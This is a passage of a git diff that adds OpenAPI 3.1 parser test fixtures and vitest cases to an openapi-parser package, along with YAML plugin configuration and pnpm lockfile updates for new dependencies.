+  /{pathTest}: {}
+webhooks:
+  myWebhook:
+    $ref: '#/components/pathItems/myPathItem'
+    description: Overriding description
+components:
+  securitySchemes:
+    mtls:
+      type: mutualTLS
+  pathItems:
+    myPathItem:
+      post:
+        requestBody:
+          required: true
+          content:
+            'application/json':
+              schema:
+                type: object
+                properties:
+                  type:
+                    type: string
+                  int:
+                    type: integer
+                    exclusiveMaximum: 100
+                    exclusiveMinimum: 0
+                  none:
+                    type: 'null'
+                  arr:
+                    type: array
+                    $comment: Array without items keyword
+                  either:
+                    type: ['string','null']
+                discriminator:
+                  propertyName: type
+                  x-extension: true
+                myArbitraryKeyword: true
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.test.ts
new file mode 100644
index 0000000..3f5895b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import minimal_comp from './minimal_comp.yaml'
+
+describe('minimal_comp', () => {
+  it('passes', async () => {
+    const result = await resolve(minimal_comp)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.yaml
new file mode 100644
index 0000000..4553689
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.yaml
@@ -0,0 +1,5 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.test.ts
new file mode 100644
index 0000000..7c87113
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import minimal_hooks from './minimal_hooks.yaml'
+
+describe('minimal_hooks', () => {
+  it('passes', async () => {
+    const result = await resolve(minimal_hooks)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.yaml
new file mode 100644
index 0000000..e67b288
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.yaml
@@ -0,0 +1,5 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+webhooks: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.test.ts
new file mode 100644
index 0000000..28fd126
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import minimal_paths from './minimal_paths.yaml'
+
+describe('minimal_paths', () => {
+  it('passes', async () => {
+    const result = await resolve(minimal_paths)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.yaml
new file mode 100644
index 0000000..016e867
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.yaml
@@ -0,0 +1,5 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.test.ts
new file mode 100644
index 0000000..2f26e03
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import path_no_response from './path_no_response.yaml'
+
+describe('path_no_response', () => {
+  it('passes', async () => {
+    const result = await resolve(path_no_response)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.yaml
new file mode 100644
index 0000000..334608f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.yaml
@@ -0,0 +1,7 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    get: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.test.ts
new file mode 100644
index 0000000..235930c
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import path_var_empty_pathitem from './path_var_empty_pathitem.yaml'
+
+describe('path_var_empty_pathitem', () => {
+  it('passes', async () => {
+    const result = await resolve(path_var_empty_pathitem)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.yaml
new file mode 100644
index 0000000..ba92742
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.yaml
@@ -0,0 +1,6 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /{var}: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.test.ts
new file mode 100644
index 0000000..893cb68
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import schema from './schema.yaml'
+
+describe('schema', () => {
+  it('passes', async () => {
+    const result = await resolve(schema)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.yaml
new file mode 100644
index 0000000..e192529
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.yaml
@@ -0,0 +1,55 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+paths: {}
+components:
+  schemas:
+    model:
+      type: object
+      properties:
+        one:
+          description: type array
+          type:
+            - integer
+            - string
+        two:
+          description: type 'null'
+          type: "null"
+        three:
+          description: type array including 'null'
+          type:
+            - string
+            - "null"
+        four:
+          description: array with no items
+          type: array
+        five:
+          description: singular example
+          type: string
+          examples:
+            - exampleValue
+        six:
+          description: exclusiveMinimum true
+          exclusiveMinimum: 10
+        seven:
+          description: exclusiveMinimum false
+          minimum: 10
+        eight:
+          description: exclusiveMaximum true
+          exclusiveMaximum: 20
+        nine:
+          description: exclusiveMaximum false
+          maximum: 20
+        ten:
+          description: nullable string
+          type:
+            - string
+            - "null"
+        eleven:
+          description: x-nullable string
+          type:
+            - string
+            - "null"
+        twelve:
+          description: file/binary
diff --git a/packages/openapi-parser/tests/resolveUris/invalid/openapi.yaml b/packages/openapi-parser/tests/resolveUris/invalid/openapi.yaml
new file mode 100644
index 0000000..568042e
--- /dev/null
+++ b/packages/openapi-parser/tests/resolveUris/invalid/openapi.yaml
@@ -0,0 +1,29 @@
+openapi: 3.0.3
+info:
+  title: Hello World
+  version: 2.0.0
+paths:
+
+  '/upload':
+    post:
+      description: 'Internal endpoint for iOS app only, to upload a unit from the field.'
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/Upload'
+      responses:
+        '201':
+          description: Created
+        '401':
+          description: Unauthorized
+          content:
+            application/problem+json:
+              schema:
+                $ref: '#/components/schemas/Generic_Problem'
+components:
+  schemas:
+    Generic_Problem:
+      $ref: schemas/does-not-exist.yaml
+    Upload:
+      $ref: schemas/upload.yaml
diff --git a/packages/openapi-parser/tests/resolveUris/invalid/upload.yaml b/packages/openapi-parser/tests/resolveUris/invalid/upload.yaml
new file mode 100644
index 0000000..9e9a184
--- /dev/null
+++ b/packages/openapi-parser/tests/resolveUris/invalid/upload.yaml
@@ -0,0 +1,16 @@
+title: Upload
+
+allOf:
+  - $ref: './components/coordinates.yaml'
+  - type: object
+    description: 'Internal endpoint for iOS app only, to upload a unit from the field.'
+
+    required:
+      - image_url
+
+    properties:
+
+      image_url:
+        description: Uploaded image that the API will read from and download.
+        type: string
+        format: url
diff --git a/packages/openapi-parser/tests/utils/index.ts b/packages/openapi-parser/tests/utils/index.ts
new file mode 100644
index 0000000..357d811
--- /dev/null
+++ b/packages/openapi-parser/tests/utils/index.ts
@@ -0,0 +1 @@
+export * from './relativePath'
diff --git a/packages/openapi-parser/tests/utils/relativePath.ts b/packages/openapi-parser/tests/utils/relativePath.ts
new file mode 100644
index 0000000..0bac8f8
--- /dev/null
+++ b/packages/openapi-parser/tests/utils/relativePath.ts
@@ -0,0 +1,10 @@
+import path from 'node:path'
+
+export const relativePath = function (url: string, file: string) {
+  return path.join(
+    // test directory
+    new URL(url).pathname.split('/').slice(0, -2).join('/'),
+    // file in test directory
+    file,
+  )
+}
diff --git a/packages/openapi-parser/tsconfig.json b/packages/openapi-parser/tsconfig.json
index 6521ec5..373de1b 100644
--- a/packages/openapi-parser/tsconfig.json
+++ b/packages/openapi-parser/tsconfig.json
@@ -11,7 +11,8 @@
     "outDir": "dist",
     "sourceMap": false,
     "lib": ["ESNext", "DOM"],
-    "target": "ESNext"
+    "target": "ESNext",
+    "types": ["@modyfi/vite-plugin-yaml/modules"]
   },
-  "include": ["src/**/*", "tests/**/*"]
+  "include": ["src/**/*", "tests/**/*", "**/*.json", "**/*.yaml"]
 }
diff --git a/packages/openapi-parser/vite.config.ts b/packages/openapi-parser/vite.config.ts
index a1d0f31..3ee2223 100644
--- a/packages/openapi-parser/vite.config.ts
+++ b/packages/openapi-parser/vite.config.ts
@@ -1,8 +1,9 @@
+import ViteYaml from '@modyfi/vite-plugin-yaml'
 import dts from 'vite-plugin-dts'
 import { defineConfig } from 'vitest/config'
 
 export default defineConfig({
-  plugins: [dts({ rollupTypes: true })],
+  plugins: [ViteYaml(), dts({ rollupTypes: true })],
   build: {
     lib: {
       entry: ['src/index.ts'],
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 658e682..3e5783b 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -44,6 +44,12 @@ importers:
       '@humanwhocodes/momoa':
         specifier: ^3.0.1
         version: 3.0.1
+      '@hyperjump/browser':
+        specifier: ^1.1.3
+        version: 1.1.3
+      '@hyperjump/json-schema':
+        specifier: ^1.7.2
+        version: 1.7.2(@hyperjump/browser@1.1.3)
       '@types/node':
         specifier: ^20.11.19
         version: 20.11.19
@@ -77,7 +83,13 @@ importers:
       vite:
         specifier: ^5.1.4
         version: 5.1.4(@types/node@20.11.19)
+      yaml:
+        specifier: ^2.3.4
+        version: 2.3.4
     devDependencies:
+      '@modyfi/vite-plugin-yaml':
+        specifier: ^1.1.0
+        version: 1.1.0(vite@5.1.4)
       '@types/js-yaml':
         specifier: ^4.0.9
         version: 4.0.9
@@ -603,6 +615,47 @@ packages:
     engines: {node: '>=18'}
     dev: false
 
+  /@hyperjump/browser@1.1.3:
+    resolution: {integrity: sha512-H7DtqWbP3YvdbZFTLln3BGPg5gt9B9aUxblIHyFRLMYGoNyq0yJN6LYRb3ZwYcRsxytAOwL6efnEKNFzF91iQQ==}
+    engines: {node: '>=18.0.0'}
+    dependencies:
+      '@hyperjump/json-pointer': 1.0.1
+      '@hyperjump/uri': 1.2.2
+      content-type: 1.0.5
+      just-curry-it: 5.3.0
+    dev: false
+
+  /@hyperjump/json-pointer@1.0.1:
+    resolution: {integrity: sha512-vV2pSc7JCwbKEMzh8kr/ICZdO+UZbA3aZ7N8t7leDi9cduWKa9yoP5LS04LnsbErlPbUNHvWBFlbTaR/o/uf7A==}
+    dependencies:
+      just-curry-it: 5.3.0
+    dev: false
+
+  /@hyperjump/json-schema@1.7.2(@hyperjump/browser@1.1.3):
+    resolution: {integrity: sha512-54Xe9RmpUye9aBZGYPcSAHooFB5ZLSpS5HM4rfFPVhoGi8rC2IdbpS19G50JtwiPy20Bc78dtREawHtFFAJJlA==}
+    peerDependencies:
+      '@hyperjump/browser': ^1.1.0
+    dependencies:
+      '@hyperjump/browser': 1.1.3
+      '@hyperjump/json-pointer': 1.0.1
+      '@hyperjump/pact': 1.3.0
+      '@hyperjump/uri': 1.2.2
+      content-type: 1.0.5
+      fastest-stable-stringify: 2.0.2
+      just-curry-it: 5.3.0
+      uuid: 9.0.1
+    dev: false
+
+  /@hyperjump/pact@1.3.0:
+    resolution: {integrity: sha512-/UIKatOtyZ3kN4A7AQmqZKzg/6es9jKyeWbfrenb2rDb3I9W4ZrVZT8q1zDrI/G+849I6Eq0ybzV1mmEC9zoDg==}
+    dependencies:
+      just-curry-it: 5.3.0
+    dev: false
+
+  /@hyperjump/uri@1.2.2:
+    resolution: {integrity: sha512-Zn8AZb/j54KKUCckmcOzKCSCKpIpMVBc60zYaajD8Dq/1g4UN6TfAFi+uDa5o/6rf+I+5xDZjZpdzwfuhlC0xQ==}
+    dev: false
+
   /@isaacs/cliui@8.0.2:
     resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==}
     engines: {node: '>=12'}
@@ -720,6 +773,19 @@ packages:
     resolution: {integrity: sha512-9b8mPpKrfeGRuhFH5iO1iwCLeIIsV6+H1sRfxbkoGXIyQE2BTsPd9zqSqQJ+pv5sJ/hT5M1zvOFL02MnEezFug==}
     dev: true
 
+  /@modyfi/vite-plugin-yaml@1.1.0(vite@5.1.4):
+    resolution: {integrity: sha512-L26xfzkSo1yamODCAtk/ipVlL6OEw2bcJ92zunyHu8zxi7+meV0zefA9xscRMDCsMY8xL3C3wi3DhMiPxcbxbw==}
+    peerDependencies:
+      vite: ^3.2.7 || ^4.0.5 || ^5.0.5
+    dependencies:
+      '@rollup/pluginutils': 5.1.0
+      js-yaml: 4.1.0
+      tosource: 2.0.0-alpha.3
+      vite: 5.1.4(@types/node@20.11.19)
+    transitivePeerDependencies:
+      - rollup
+    dev: true
+
   /@nodelib/fs.scandir@2.1.5:
     resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}
     engines: {node: '>= 8'}
@@ -1165,7 +1231,6 @@ packages:
 
   /argparse@2.0.1:
     resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}
-    dev: false
 
   /array-buffer-byte-length@1.0.1:
     resolution: {integrity: sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==}
@@ -1393,6 +1458,11 @@ packages:
     resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}
     dev: true
 
+  /content-type@1.0.5:
+    resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==}
+    engines: {node: '>= 0.6'}
+    dev: false
+
   /convert-source-map@2.0.0:
     resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==}
     dev: true
@@ -1719,6 +1789,10 @@ packages:
     resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==}
     dev: true
 
+  /fastest-stable-stringify@2.0.2:
+    resolution: {integrity: sha512-bijHueCGd0LqqNK9b5oCMHc0MluJAx0cwqASgbWMvkO01lCYgIhacVRLcaDz3QnyYIRNJRDwMb41VuT6pHJ91Q==}
+    dev: false
+
   /fastq@1.17.1:
     resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==}
     dependencies:
@@ -2252,7 +2326,6 @@ packages:
     hasBin: true
     dependencies:
       argparse: 2.0.1
-    dev: false
 
   /jsesc@2.5.2:
     resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==}
@@ -2295,6 +2368,10 @@ packages:
     engines: {node: '>=0.10.0'}
     dev: false
 
+  /just-curry-it@5.3.0:
+    resolution: {integrity: sha512-silMIRiFjUWlfaDhkgSzpuAyQ6EX/o09Eu8ZBfmFwQMbax7+LQzeIU2CBrICT6Ne4l86ITCGvUCBpCubWYy0Yw==}
+    dev: false
+
   /kind-of@6.0.3:
     resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==}
     engines: {node: '>=0.10.0'}
@@ -3322,6 +3399,11 @@ packages:
       is-number: 7.0.0
     dev: true
 
+  /tosource@2.0.0-alpha.3:
+    resolution: {integrity: sha512-KAB2lrSS48y91MzFPFuDg4hLbvDiyTjOVgaK7Erw+5AmZXNq4sFRVn8r6yxSLuNs15PaokrDRpS61ERY9uZOug==}
+    engines: {node: '>=10'}
+    dev: true
+
   /trim-newlines@3.0.1:
     resolution: {integrity: sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==}
     engines: {node: '>=8'}
@@ -3491,6 +3573,11 @@ packages:
     dependencies:
       punycode: 2.3.1
 
+  /uuid@9.0.1:
+    resolution: {integrity: sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==}
+    hasBin: true
+    dev: false
+
   /v8-to-istanbul@9.2.0:
     resolution: {integrity: sha512-/EH/sDgxU2eGxajKdwLCDmQ4FWq+kpi3uCmBGpw1xJtnAxEjlD8j8PEiGWpCIMIs3ciNAgH0d3TTJiUkYzyZjA==}
     engines: {node: '>=10.12.0'}
@@ -3775,6 +3862,11 @@ packages:
     resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==}
     dev: true
 
+  /yaml@2.3.4:
+    resolution: {integrity: sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==}
+    engines: {node: '>= 14'}
+    dev: false
+
   /yargs-parser@18.1.3:
     resolution: {integrity: sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==}
     engines: {node: '>=6'}